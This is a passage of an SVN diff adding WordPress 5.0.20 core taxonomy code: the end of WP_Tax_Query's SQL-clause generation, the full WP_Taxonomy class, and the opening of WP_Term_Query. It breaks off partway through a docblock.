+	 * Database table that where the metadata's objects are stored (eg $wpdb->users).
+	 *
+	 * @since 4.1.0
+	 * @var string
+	 */
+	public $primary_table;
+
+	/**
+	 * Column in 'primary_table' that represents the ID of the object.
+	 *
+	 * @since 4.1.0
+	 * @var string
+	 */
+	public $primary_id_column;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 * @since 4.1.0 Added support for `$operator` 'NOT EXISTS' and 'EXISTS' values.
+	 *
+	 * @param array $tax_query {
+	 *     Array of taxonomy query clauses.
+	 *
+	 *     @type string $relation Optional. The MySQL keyword used to join
+	 *                            the clauses of the query. Accepts 'AND', or 'OR'. Default 'AND'.
+	 *     @type array {
+	 *         Optional. An array of first-order clause parameters, or another fully-formed tax query.
+	 *
+	 *         @type string           $taxonomy         Taxonomy being queried. Optional when field=term_taxonomy_id.
+	 *         @type string|int|array $terms            Term or terms to filter by.
+	 *         @type string           $field            Field to match $terms against. Accepts 'term_id', 'slug',
+	 *                                                 'name', or 'term_taxonomy_id'. Default: 'term_id'.
+	 *         @type string           $operator         MySQL operator to be used with $terms in the WHERE clause.
+	 *                                                  Accepts 'AND', 'IN', 'NOT IN', 'EXISTS', 'NOT EXISTS'.
+	 *                                                  Default: 'IN'.
+	 *         @type bool             $include_children Optional. Whether to include child terms.
+	 *                                                  Requires a $taxonomy. Default: true.
+	 *     }
+	 * }
+	 */
+	public function __construct( $tax_query ) {
+		if ( isset( $tax_query['relation'] ) ) {
+			$this->relation = $this->sanitize_relation( $tax_query['relation'] );
+		} else {
+			$this->relation = 'AND';
+		}
+
+		$this->queries = $this->sanitize_query( $tax_query );
+	}
+
+	/**
+	 * Ensure the 'tax_query' argument passed to the class constructor is well-formed.
+	 *
+	 * Ensures that each query-level clause has a 'relation' key, and that
+	 * each first-order clause contains all the necessary keys from `$defaults`.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param array $queries Array of queries clauses.
+	 * @return array Sanitized array of query clauses.
+	 */
+	public function sanitize_query( $queries ) {
+		$cleaned_query = array();
+
+		$defaults = array(
+			'taxonomy' => '',
+			'terms' => array(),
+			'field' => 'term_id',
+			'operator' => 'IN',
+			'include_children' => true,
+		);
+
+		foreach ( $queries as $key => $query ) {
+			if ( 'relation' === $key ) {
+				$cleaned_query['relation'] = $this->sanitize_relation( $query );
+
+			// First-order clause.
+			} elseif ( self::is_first_order_clause( $query ) ) {
+
+				$cleaned_clause = array_merge( $defaults, $query );
+				$cleaned_clause['terms'] = (array) $cleaned_clause['terms'];
+				$cleaned_query[] = $cleaned_clause;
+
+				/*
+				 * Keep a copy of the clause in the flate
+				 * $queried_terms array, for use in WP_Query.
+				 */
+				if ( ! empty( $cleaned_clause['taxonomy'] ) && 'NOT IN' !== $cleaned_clause['operator'] ) {
+					$taxonomy = $cleaned_clause['taxonomy'];
+					if ( ! isset( $this->queried_terms[ $taxonomy ] ) ) {
+						$this->queried_terms[ $taxonomy ] = array();
+					}
+
+					/*
+					 * Backward compatibility: Only store the first
+					 * 'terms' and 'field' found for a given taxonomy.
+					 */
+					if ( ! empty( $cleaned_clause['terms'] ) && ! isset( $this->queried_terms[ $taxonomy ]['terms'] ) ) {
+						$this->queried_terms[ $taxonomy ]['terms'] = $cleaned_clause['terms'];
+					}
+
+					if ( ! empty( $cleaned_clause['field'] ) && ! isset( $this->queried_terms[ $taxonomy ]['field'] ) ) {
+						$this->queried_terms[ $taxonomy ]['field'] = $cleaned_clause['field'];
+					}
+				}
+
+			// Otherwise, it's a nested query, so we recurse.
+			} elseif ( is_array( $query ) ) {
+				$cleaned_subquery = $this->sanitize_query( $query );
+
+				if ( ! empty( $cleaned_subquery ) ) {
+					// All queries with children must have a relation.
+					if ( ! isset( $cleaned_subquery['relation'] ) ) {
+						$cleaned_subquery['relation'] = 'AND';
+					}
+
+					$cleaned_query[] = $cleaned_subquery;
+				}
+			}
+		}
+
+		return $cleaned_query;
+	}
+
+	/**
+	 * Sanitize a 'relation' operator.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param string $relation Raw relation key from the query argument.
+	 * @return string Sanitized relation ('AND' or 'OR').
+	 */
+	public function sanitize_relation( $relation ) {
+		if ( 'OR' === strtoupper( $relation ) ) {
+			return 'OR';
+		} else {
+			return 'AND';
+		}
+	}
+
+	/**
+	 * Determine whether a clause is first-order.
+	 *
+	 * A "first-order" clause is one that contains any of the first-order
+	 * clause keys ('terms', 'taxonomy', 'include_children', 'field',
+	 * 'operator'). An empty clause also counts as a first-order clause,
+	 * for backward compatibility. Any clause that doesn't meet this is
+	 * determined, by process of elimination, to be a higher-order query.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @static
+	 *
+	 * @param array $query Tax query arguments.
+	 * @return bool Whether the query clause is a first-order clause.
+	 */
+	protected static function is_first_order_clause( $query ) {
+		return is_array( $query ) && ( empty( $query ) || array_key_exists( 'terms', $query ) || array_key_exists( 'taxonomy', $query ) || array_key_exists( 'include_children', $query ) || array_key_exists( 'field', $query ) || array_key_exists( 'operator', $query ) );
+	}
+
+	/**
+	 * Generates SQL clauses to be appended to a main query.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @static
+	 *
+	 * @param string $primary_table     Database table where the object being filtered is stored (eg wp_users).
+	 * @param string $primary_id_column ID column for the filtered object in $primary_table.
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to the main query.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	public function get_sql( $primary_table, $primary_id_column ) {
+		$this->primary_table = $primary_table;
+		$this->primary_id_column = $primary_id_column;
+
+		return $this->get_sql_clauses();
+	}
+
+	/**
+	 * Generate SQL clauses to be appended to a main query.
+	 *
+	 * Called by the public WP_Tax_Query::get_sql(), this method
+	 * is abstracted out to maintain parity with the other Query classes.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to the main query.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	protected function get_sql_clauses() {
+		/*
+		 * $queries are passed by reference to get_sql_for_query() for recursion.
+		 * To keep $this->queries unaltered, pass a copy.
+		 */
+		$queries = $this->queries;
+		$sql = $this->get_sql_for_query( $queries );
+
+		if ( ! empty( $sql['where'] ) ) {
+			$sql['where'] = ' AND ' . $sql['where'];
+		}
+
+		return $sql;
+	}
+
+	/**
+	 * Generate SQL clauses for a single query array.
+	 *
+	 * If nested subqueries are found, this method recurses the tree to
+	 * produce the properly nested SQL.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param array $query Query to parse (passed by reference).
+	 * @param int   $depth Optional. Number of tree levels deep we currently are.
+	 *                     Used to calculate indentation. Default 0.
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to a single query array.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	protected function get_sql_for_query( &$query, $depth = 0 ) {
+		$sql_chunks = array(
+			'join'  => array(),
+			'where' => array(),
+		);
+
+		$sql = array(
+			'join'  => '',
+			'where' => '',
+		);
+
+		$indent = '';
+		for ( $i = 0; $i < $depth; $i++ ) {
+			$indent .= "  ";
+		}
+
+		foreach ( $query as $key => &$clause ) {
+			if ( 'relation' === $key ) {
+				$relation = $query['relation'];
+			} elseif ( is_array( $clause ) ) {
+
+				// This is a first-order clause.
+				if ( $this->is_first_order_clause( $clause ) ) {
+					$clause_sql = $this->get_sql_for_clause( $clause, $query );
+
+					$where_count = count( $clause_sql['where'] );
+					if ( ! $where_count ) {
+						$sql_chunks['where'][] = '';
+					} elseif ( 1 === $where_count ) {
+						$sql_chunks['where'][] = $clause_sql['where'][0];
+					} else {
+						$sql_chunks['where'][] = '( ' . implode( ' AND ', $clause_sql['where'] ) . ' )';
+					}
+
+					$sql_chunks['join'] = array_merge( $sql_chunks['join'], $clause_sql['join'] );
+				// This is a subquery, so we recurse.
+				} else {
+					$clause_sql = $this->get_sql_for_query( $clause, $depth + 1 );
+
+					$sql_chunks['where'][] = $clause_sql['where'];
+					$sql_chunks['join'][]  = $clause_sql['join'];
+				}
+			}
+		}
+
+		// Filter to remove empties.
+		$sql_chunks['join']  = array_filter( $sql_chunks['join'] );
+		$sql_chunks['where'] = array_filter( $sql_chunks['where'] );
+
+		if ( empty( $relation ) ) {
+			$relation = 'AND';
+		}
+
+		// Filter duplicate JOIN clauses and combine into a single string.
+		if ( ! empty( $sql_chunks['join'] ) ) {
+			$sql['join'] = implode( ' ', array_unique( $sql_chunks['join'] ) );
+		}
+
+		// Generate a single WHERE clause with proper brackets and indentation.
+		if ( ! empty( $sql_chunks['where'] ) ) {
+			$sql['where'] = '( ' . "\n  " . $indent . implode( ' ' . "\n  " . $indent . $relation . ' ' . "\n  " . $indent, $sql_chunks['where'] ) . "\n" . $indent . ')';
+		}
+
+		return $sql;
+	}
+
+	/**
+	 * Generate SQL JOIN and WHERE clauses for a "first-order" query clause.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @global wpdb $wpdb The WordPress database abstraction object.
+	 *
+	 * @param array $clause       Query clause (passed by reference).
+	 * @param array $parent_query Parent query array.
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to a first-order query.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	public function get_sql_for_clause( &$clause, $parent_query ) {
+		global $wpdb;
+
+		$sql = array(
+			'where' => array(),
+			'join'  => array(),
+		);
+
+		$join = $where = '';
+
+		$this->clean_query( $clause );
+
+		if ( is_wp_error( $clause ) ) {
+			return self::$no_results;
+		}
+
+		$terms = $clause['terms'];
+		$operator = strtoupper( $clause['operator'] );
+
+		if ( 'IN' == $operator ) {
+
+			if ( empty( $terms ) ) {
+				return self::$no_results;
+			}
+
+			$terms = implode( ',', $terms );
+
+			/*
+			 * Before creating another table join, see if this clause has a
+			 * sibling with an existing join that can be shared.
+			 */
+			$alias = $this->find_compatible_table_alias( $clause, $parent_query );
+			if ( false === $alias ) {
+				$i = count( $this->table_aliases );
+				$alias = $i ? 'tt' . $i : $wpdb->term_relationships;
+
+				// Store the alias as part of a flat array to build future iterators.
+				$this->table_aliases[] = $alias;
+
+				// Store the alias with this clause, so later siblings can use it.
+				$clause['alias'] = $alias;
+
+				$join .= " LEFT JOIN $wpdb->term_relationships";
+				$join .= $i ? " AS $alias" : '';
+				$join .= " ON ($this->primary_table.$this->primary_id_column = $alias.object_id)";
+			}
+
+
+			$where = "$alias.term_taxonomy_id $operator ($terms)";
+
+		} elseif ( 'NOT IN' == $operator ) {
+
+			if ( empty( $terms ) ) {
+				return $sql;
+			}
+
+			$terms = implode( ',', $terms );
+
+			$where = "$this->primary_table.$this->primary_id_column NOT IN (
+				SELECT object_id
+				FROM $wpdb->term_relationships
+				WHERE term_taxonomy_id IN ($terms)
+			)";
+
+		} elseif ( 'AND' == $operator ) {
+
+			if ( empty( $terms ) ) {
+				return $sql;
+			}
+
+			$num_terms = count( $terms );
+
+			$terms = implode( ',', $terms );
+
+			$where = "(
+				SELECT COUNT(1)
+				FROM $wpdb->term_relationships
+				WHERE term_taxonomy_id IN ($terms)
+				AND object_id = $this->primary_table.$this->primary_id_column
+			) = $num_terms";
+
+		} elseif ( 'NOT EXISTS' === $operator || 'EXISTS' === $operator ) {
+
+			$where = $wpdb->prepare( "$operator (
+				SELECT 1
+				FROM $wpdb->term_relationships
+				INNER JOIN $wpdb->term_taxonomy
+				ON $wpdb->term_taxonomy.term_taxonomy_id = $wpdb->term_relationships.term_taxonomy_id
+				WHERE $wpdb->term_taxonomy.taxonomy = %s
+				AND $wpdb->term_relationships.object_id = $this->primary_table.$this->primary_id_column
+			)", $clause['taxonomy'] );
+
+		}
+
+		$sql['join'][]  = $join;
+		$sql['where'][] = $where;
+		return $sql;
+	}
+
+	/**
+	 * Identify an existing table alias that is compatible with the current query clause.
+	 *
+	 * We avoid unnecessary table joins by allowing each clause to look for
+	 * an existing table alias that is compatible with the query that it
+	 * needs to perform.
+	 *
+	 * An existing alias is compatible if (a) it is a sibling of `$clause`
+	 * (ie, it's under the scope of the same relation), and (b) the combination
+	 * of operator and relation between the clauses allows for a shared table
+	 * join. In the case of WP_Tax_Query, this only applies to 'IN'
+	 * clauses that are connected by the relation 'OR'.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param array       $clause       Query clause.
+	 * @param array       $parent_query Parent query of $clause.
+	 * @return string|false Table alias if found, otherwise false.
+	 */
+	protected function find_compatible_table_alias( $clause, $parent_query ) {
+		$alias = false;
+
+		// Sanity check. Only IN queries use the JOIN syntax .
+		if ( ! isset( $clause['operator'] ) || 'IN' !== $clause['operator'] ) {
+			return $alias;
+		}
+
+		// Since we're only checking IN queries, we're only concerned with OR relations.
+		if ( ! isset( $parent_query['relation'] ) || 'OR' !== $parent_query['relation'] ) {
+			return $alias;
+		}
+
+		$compatible_operators = array( 'IN' );
+
+		foreach ( $parent_query as $sibling ) {
+			if ( ! is_array( $sibling ) || ! $this->is_first_order_clause( $sibling ) ) {
+				continue;
+			}
+
+			if ( empty( $sibling['alias'] ) || empty( $sibling['operator'] ) ) {
+				continue;
+			}
+
+			// The sibling must both have compatible operator to share its alias.
+			if ( in_array( strtoupper( $sibling['operator'] ), $compatible_operators ) ) {
+				$alias = preg_replace( '/\W/', '_', $sibling['alias'] );
+				break;
+			}
+		}
+
+		return $alias;
+	}
+
+	/**
+	 * Validates a single query.
+	 *
+	 * @since 3.2.0
+	 *
+	 * @param array $query The single query. Passed by reference.
+	 */
+	private function clean_query( &$query ) {
+		if ( empty( $query['taxonomy'] ) ) {
+			if ( 'term_taxonomy_id' !== $query['field'] ) {
+				$query = new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
+				return;
+			}
+
+			// so long as there are shared terms, include_children requires that a taxonomy is set
+			$query['include_children'] = false;
+		} elseif ( ! taxonomy_exists( $query['taxonomy'] ) ) {
+			$query = new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
+			return;
+		}
+
+		if ( 'slug' === $query['field'] || 'name' === $query['field'] ) {
+			$query['terms'] = array_unique( (array) $query['terms'] );
+		} else {
+			$query['terms'] = wp_parse_id_list( $query['terms'] );
+		}
+
+		if ( is_taxonomy_hierarchical( $query['taxonomy'] ) && $query['include_children'] ) {
+			$this->transform_query( $query, 'term_id' );
+
+			if ( is_wp_error( $query ) )
+				return;
+
+			$children = array();
+			foreach ( $query['terms'] as $term ) {
+				$children = array_merge( $children, get_term_children( $term, $query['taxonomy'] ) );
+				$children[] = $term;
+			}
+			$query['terms'] = $children;
+		}
+
+		$this->transform_query( $query, 'term_taxonomy_id' );
+	}
+
+	/**
+	 * Transforms a single query, from one field to another.
+	 *
+	 * Operates on the `$query` object by reference. In the case of error,
+	 * `$query` is converted to a WP_Error object.
+	 *
+	 * @since 3.2.0
+	 *
+	 * @global wpdb $wpdb The WordPress database abstraction object.
+	 *
+	 * @param array  $query           The single query. Passed by reference.
+	 * @param string $resulting_field The resulting field. Accepts 'slug', 'name', 'term_taxonomy_id',
+	 *                                or 'term_id'. Default 'term_id'.
+	 */
+	public function transform_query( &$query, $resulting_field ) {
+		if ( empty( $query['terms'] ) )
+			return;
+
+		if ( $query['field'] == $resulting_field )
+			return;
+
+		$resulting_field = sanitize_key( $resulting_field );
+
+		// Empty 'terms' always results in a null transformation.
+		$terms = array_filter( $query['terms'] );
+		if ( empty( $terms ) ) {
+			$query['terms'] = array();
+			$query['field'] = $resulting_field;
+			return;
+		}
+
+		$args = array(
+			'get'                    => 'all',
+			'number'                 => 0,
+			'taxonomy'               => $query['taxonomy'],
+			'update_term_meta_cache' => false,
+			'orderby'                => 'none',
+		);
+
+		// Term query parameter name depends on the 'field' being searched on.
+		switch ( $query['field'] ) {
+			case 'slug':
+				$args['slug'] = $terms;
+				break;
+			case 'name':
+				$args['name'] = $terms;
+				break;
+			case 'term_taxonomy_id':
+				$args['term_taxonomy_id'] = $terms;
+				break;
+			default:
+				$args['include'] = wp_parse_id_list( $terms );
+				break;
+		}
+
+		$term_query = new WP_Term_Query();
+		$term_list  = $term_query->query( $args );
+
+		if ( is_wp_error( $term_list ) ) {
+			$query = $term_list;
+			return;
+		}
+
+		if ( 'AND' == $query['operator'] && count( $term_list ) < count( $query['terms'] ) ) {
+			$query = new WP_Error( 'inexistent_terms', __( 'Inexistent terms.' ) );
+			return;
+		}
+
+		$query['terms'] = wp_list_pluck( $term_list, $resulting_field );
+		$query['field'] = $resulting_field;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-taxonomy.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-taxonomy.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-taxonomy.php	(revision 56912)
@@ -0,0 +1,424 @@
+<?php
+/**
+ * Taxonomy API: WP_Taxonomy class
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 4.7.0
+ */
+
+/**
+ * Core class used for interacting with taxonomies.
+ *
+ * @since 4.7.0
+ */
+final class WP_Taxonomy {
+	/**
+	 * Taxonomy key.
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	public $name;
+
+	/**
+	 * Name of the taxonomy shown in the menu. Usually plural.
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	public $label;
+
+	/**
+	 * An array of labels for this taxonomy.
+	 *
+	 * @since 4.7.0
+	 * @var object
+	 */
+	public $labels = array();
+
+	/**
+	 * A short descriptive summary of what the taxonomy is for.
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	public $description = '';
+
+	/**
+	 * Whether a taxonomy is intended for use publicly either via the admin interface or by front-end users.
+	 *
+	 * @since 4.7.0
+	 * @var bool
+	 */
+	public $public = true;
+
+	/**
+	 * Whether the taxonomy is publicly queryable.
+	 *
+	 * @since 4.7.0
+	 * @var bool
+	 */
+	public $publicly_queryable = true;
+
+	/**
+	 * Whether the taxonomy is hierarchical.
+	 *
+	 * @since 4.7.0
+	 * @var bool
+	 */
+	public $hierarchical = false;
+
+	/**
+	 * Whether to generate and allow a UI for managing terms in this taxonomy in the admin.
+	 *
+	 * @since 4.7.0
+	 * @var bool
+	 */
+	public $show_ui = true;
+
+	/**
+	 * Whether to show the taxonomy in the admin menu.
+	 *
+	 * If true, the taxonomy is shown as a submenu of the object type menu. If false, no menu is shown.
+	 *
+	 * @since 4.7.0
+	 * @var bool
+	 */
+	public $show_in_menu = true;
+
+	/**
+	 * Whether the taxonomy is available for selection in navigation menus.
+	 *
+	 * @since 4.7.0
+	 * @var bool
+	 */
+	public $show_in_nav_menus = true;
+
+	/**
+	 * Whether to list the taxonomy in the tag cloud widget controls.
+	 *
+	 * @since 4.7.0
+	 * @var bool
+	 */
+	public $show_tagcloud = true;
+
+	/**
+	 * Whether to show the taxonomy in the quick/bulk edit panel.
+	 *
+	 * @since 4.7.0
+	 * @var bool
+	 */
+	public $show_in_quick_edit = true;
+
+	/**
+	 * Whether to display a column for the taxonomy on its post type listing screens.
+	 *
+	 * @since 4.7.0
+	 * @var bool
+	 */
+	public $show_admin_column = false;
+
+	/**
+	 * The callback function for the meta box display.
+	 *
+	 * @since 4.7.0
+	 * @var bool|callable
+	 */
+	public $meta_box_cb = null;
+
+	/**
+	 * An array of object types this taxonomy is registered for.
+	 *
+	 * @since 4.7.0
+	 * @var array
+	 */
+	public $object_type = null;
+
+	/**
+	 * Capabilities for this taxonomy.
+	 *
+	 * @since 4.7.0
+	 * @var array
+	 */
+	public $cap;
+
+	/**
+	 * Rewrites information for this taxonomy.
+	 *
+	 * @since 4.7.0
+	 * @var array|false
+	 */
+	public $rewrite;
+
+	/**
+	 * Query var string for this taxonomy.
+	 *
+	 * @since 4.7.0
+	 * @var string|false
+	 */
+	public $query_var;
+
+	/**
+	 * Function that will be called when the count is updated.
+	 *
+	 * @since 4.7.0
+	 * @var callable
+	 */
+	public $update_count_callback;
+
+	/**
+	 * Whether this taxonomy should appear in the REST API.
+	 *
+	 * Default false. If true, standard endpoints will be registered with
+	 * respect to $rest_base and $rest_controller_class.
+	 *
+	 * @since 4.7.4
+	 * @var bool $show_in_rest
+	 */
+	public $show_in_rest;
+
+	/**
+	 * The base path for this taxonomy's REST API endpoints.
+	 *
+	 * @since 4.7.4
+	 * @var string|bool $rest_base
+	 */
+	public $rest_base;
+
+	/**
+	 * The controller for this taxonomy's REST API endpoints.
+	 *
+	 * Custom controllers must extend WP_REST_Controller.
+	 *
+	 * @since 4.7.4
+	 * @var string|bool $rest_controller_class
+	 */
+	public $rest_controller_class;
+
+	/**
+	 * Whether it is a built-in taxonomy.
+	 *
+	 * @since 4.7.0
+	 * @var bool
+	 */
+	public $_builtin;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @global WP $wp WP instance.
+	 *
+	 * @param string       $taxonomy    Taxonomy key, must not exceed 32 characters.
+	 * @param array|string $object_type Name of the object type for the taxonomy object.
+	 * @param array|string $args        Optional. Array or query string of arguments for registering a taxonomy.
+	 *                                  Default empty array.
+	 */
+	public function __construct( $taxonomy, $object_type, $args = array() ) {
+		$this->name = $taxonomy;
+
+		$this->set_props( $object_type, $args );
+	}
+
+	/**
+	 * Sets taxonomy properties.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array|string $object_type Name of the object type for the taxonomy object.
+	 * @param array|string $args        Array or query string of arguments for registering a taxonomy.
+	 */
+	public function set_props( $object_type, $args ) {
+		$args = wp_parse_args( $args );
+
+		/**
+		 * Filters the arguments for registering a taxonomy.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param array  $args        Array of arguments for registering a taxonomy.
+		 * @param string $taxonomy    Taxonomy key.
+		 * @param array  $object_type Array of names of object types for the taxonomy.
+		 */
+		$args = apply_filters( 'register_taxonomy_args', $args, $this->name, (array) $object_type );
+
+		$defaults = array(
+			'labels'                => array(),
+			'description'           => '',
+			'public'                => true,
+			'publicly_queryable'    => null,
+			'hierarchical'          => false,
+			'show_ui'               => null,
+			'show_in_menu'          => null,
+			'show_in_nav_menus'     => null,
+			'show_tagcloud'         => null,
+			'show_in_quick_edit'    => null,
+			'show_admin_column'     => false,
+			'meta_box_cb'           => null,
+			'capabilities'          => array(),
+			'rewrite'               => true,
+			'query_var'             => $this->name,
+			'update_count_callback' => '',
+			'show_in_rest'          => false,
+			'rest_base'             => false,
+			'rest_controller_class' => false,
+			'_builtin'              => false,
+		);
+
+		$args = array_merge( $defaults, $args );
+
+		// If not set, default to the setting for public.
+		if ( null === $args['publicly_queryable'] ) {
+			$args['publicly_queryable'] = $args['public'];
+		}
+
+		if ( false !== $args['query_var'] && ( is_admin() || false !== $args['publicly_queryable'] ) ) {
+			if ( true === $args['query_var'] ) {
+				$args['query_var'] = $this->name;
+			} else {
+				$args['query_var'] = sanitize_title_with_dashes( $args['query_var'] );
+			}
+		} else {
+			// Force query_var to false for non-public taxonomies.
+			$args['query_var'] = false;
+		}
+
+		if ( false !== $args['rewrite'] && ( is_admin() || '' != get_option( 'permalink_structure' ) ) ) {
+			$args['rewrite'] = wp_parse_args( $args['rewrite'], array(
+				'with_front'   => true,
+				'hierarchical' => false,
+				'ep_mask'      => EP_NONE,
+			) );
+
+			if ( empty( $args['rewrite']['slug'] ) ) {
+				$args['rewrite']['slug'] = sanitize_title_with_dashes( $this->name );
+			}
+		}
+
+		// If not set, default to the setting for public.
+		if ( null === $args['show_ui'] ) {
+			$args['show_ui'] = $args['public'];
+		}
+
+		// If not set, default to the setting for show_ui.
+		if ( null === $args['show_in_menu'] || ! $args['show_ui'] ) {
+			$args['show_in_menu'] = $args['show_ui'];
+		}
+
+		// If not set, default to the setting for public.
+		if ( null === $args['show_in_nav_menus'] ) {
+			$args['show_in_nav_menus'] = $args['public'];
+		}
+
+		// If not set, default to the setting for show_ui.
+		if ( null === $args['show_tagcloud'] ) {
+			$args['show_tagcloud'] = $args['show_ui'];
+		}
+
+		// If not set, default to the setting for show_ui.
+		if ( null === $args['show_in_quick_edit'] ) {
+			$args['show_in_quick_edit'] = $args['show_ui'];
+		}
+
+		$default_caps = array(
+			'manage_terms' => 'manage_categories',
+			'edit_terms'   => 'manage_categories',
+			'delete_terms' => 'manage_categories',
+			'assign_terms' => 'edit_posts',
+		);
+
+		$args['cap'] = (object) array_merge( $default_caps, $args['capabilities'] );
+		unset( $args['capabilities'] );
+
+		$args['object_type'] = array_unique( (array) $object_type );
+
+		// If not set, use the default meta box
+		if ( null === $args['meta_box_cb'] ) {
+			if ( $args['hierarchical'] ) {
+				$args['meta_box_cb'] = 'post_categories_meta_box';
+			} else {
+				$args['meta_box_cb'] = 'post_tags_meta_box';
+			}
+		}
+
+		$args['name'] = $this->name;
+
+		foreach ( $args as $property_name => $property_value ) {
+			$this->$property_name = $property_value;
+		}
+
+		$this->labels = get_taxonomy_labels( $this );
+		$this->label = $this->labels->name;
+	}
+
+	/**
+	 * Adds the necessary rewrite rules for the taxonomy.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @global WP $wp Current WordPress environment instance.
+	 */
+	public function add_rewrite_rules() {
+		/* @var WP $wp */
+		global $wp;
+
+		// Non-publicly queryable taxonomies should not register query vars, except in the admin.
+		if ( false !== $this->query_var && $wp ) {
+			$wp->add_query_var( $this->query_var );
+		}
+
+		if ( false !== $this->rewrite && ( is_admin() || '' != get_option( 'permalink_structure' ) ) ) {
+			if ( $this->hierarchical && $this->rewrite['hierarchical'] ) {
+				$tag = '(.+?)';
+			} else {
+				$tag = '([^/]+)';
+			}
+
+			add_rewrite_tag( "%$this->name%", $tag, $this->query_var ? "{$this->query_var}=" : "taxonomy=$this->name&term=" );
+			add_permastruct( $this->name, "{$this->rewrite['slug']}/%$this->name%", $this->rewrite );
+		}
+	}
+
+	/**
+	 * Removes any rewrite rules, permastructs, and rules for the taxonomy.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @global WP $wp Current WordPress environment instance.
+	 */
+	public function remove_rewrite_rules() {
+		/* @var WP $wp */
+		global $wp;
+
+		// Remove query var.
+		if ( false !== $this->query_var ) {
+			$wp->remove_query_var( $this->query_var );
+		}
+
+		// Remove rewrite tags and permastructs.
+		if ( false !== $this->rewrite ) {
+			remove_rewrite_tag( "%$this->name%" );
+			remove_permastruct( $this->name );
+		}
+	}
+
+	/**
+	 * Registers the ajax callback for the meta box.
+	 *
+	 * @since 4.7.0
+	 */
+	public function add_hooks() {
+		add_filter( 'wp_ajax_add-' . $this->name, '_wp_ajax_add_hierarchical_term' );
+	}
+
+	/**
+	 * Removes the ajax callback for the meta box.
+	 *
+	 * @since 4.7.0
+	 */
+	public function remove_hooks() {
+		remove_filter( 'wp_ajax_add-' . $this->name, '_wp_ajax_add_hierarchical_term' );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-term-query.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-term-query.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-term-query.php	(revision 56912)
@@ -0,0 +1,996 @@
+<?php
+
+/**
+ * Taxonomy API: WP_Term_Query class.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 4.6.0
+ */
+
+/**
+ * Class used for querying terms.
+ *
+ * @since 4.6.0
+ *
+ * @see WP_Term_Query::__construct() for accepted arguments.
+ */
+class WP_Term_Query {
+
+	/**
+	 * SQL string used to perform database query.
+	 *
+	 * @since 4.6.0
+	 * @var string
+	 */
+	public $request;
+
+	/**
+	 * Metadata query container.
+	 *
+	 * @since 4.6.0
+	 * @var object WP_Meta_Query
+	 */
+	public $meta_query = false;
+
+	/**
+	 * Metadata query clauses.
+	 *
+	 * @since 4.6.0
+	 * @var array
+	 */
+	protected $meta_query_clauses;
+
+	/**
+	 * SQL query clauses.
+	 *
+	 * @since 4.6.0
+	 * @var array
+	 */
+	protected $sql_clauses = array(
+		'select'  => '',
+		'from'    => '',
+		'where'   => array(),
+		'orderby' => '',
+		'limits'  => '',
+	);
+
+	/**
+	 * Query vars set by the user.
+	 *
+	 * @since 4.6.0
+	 * @var array
+	 */
+	public $query_vars;
+
+	/**
+	 * Default values for query vars.
+	 *
+	 * @since 4.6.0
+	 * @var array
+	 */
+	public $query_var_defaults;
+
+	/**
+	 * List of terms located by the query.
+	 *
+	 * @since 4.6.0
+	 * @var array
+	 */
+	public $terms;
+
+	/**
+	 * Constructor.
+	 *
+	 * Sets up the term query, based on the query vars passed.
+	 *
+	 * @since 4.6.0
+	 * @since 4.6.0 Introduced 'term_taxonomy_id' parameter.
+	 * @since 4.7.0 Introduced 'object_ids' parameter.
+	 * @since 4.9.0 Added 'slug__in' support for 'orderby'.
+	 *
+	 * @param string|array $query {
+	 *     Optional. Array or query string of term query parameters. Default empty.
+	 *
+	 *     @type string|array $taxonomy               Taxonomy name, or array of taxonomies, to which results should
+	 *                                                be limited.
+	 *     @type int|array    $object_ids             Optional. Object ID, or array of object IDs. Results will be
+	 *                                                limited to terms associated with these objects.
+	 *     @type string       $orderby                Field(s) to order terms by. Accepts term fields ('name',
+	 *                                                'slug', 'term_group', 'term_id', 'id', 'description', 'parent'),
+	 *                                                'count' for term taxonomy count, 'include' to match the
+	 *                                                'order' of the $include param, 'slug__in' to match the
+	 *                                                'order' of the $slug param, 'meta_value', 'meta_value_num',
+	 *                                                the value of `$meta_key`, the array keys of `$meta_query`, or
+	 *                                                'none' to omit the ORDER BY clause. Defaults to 'name'.
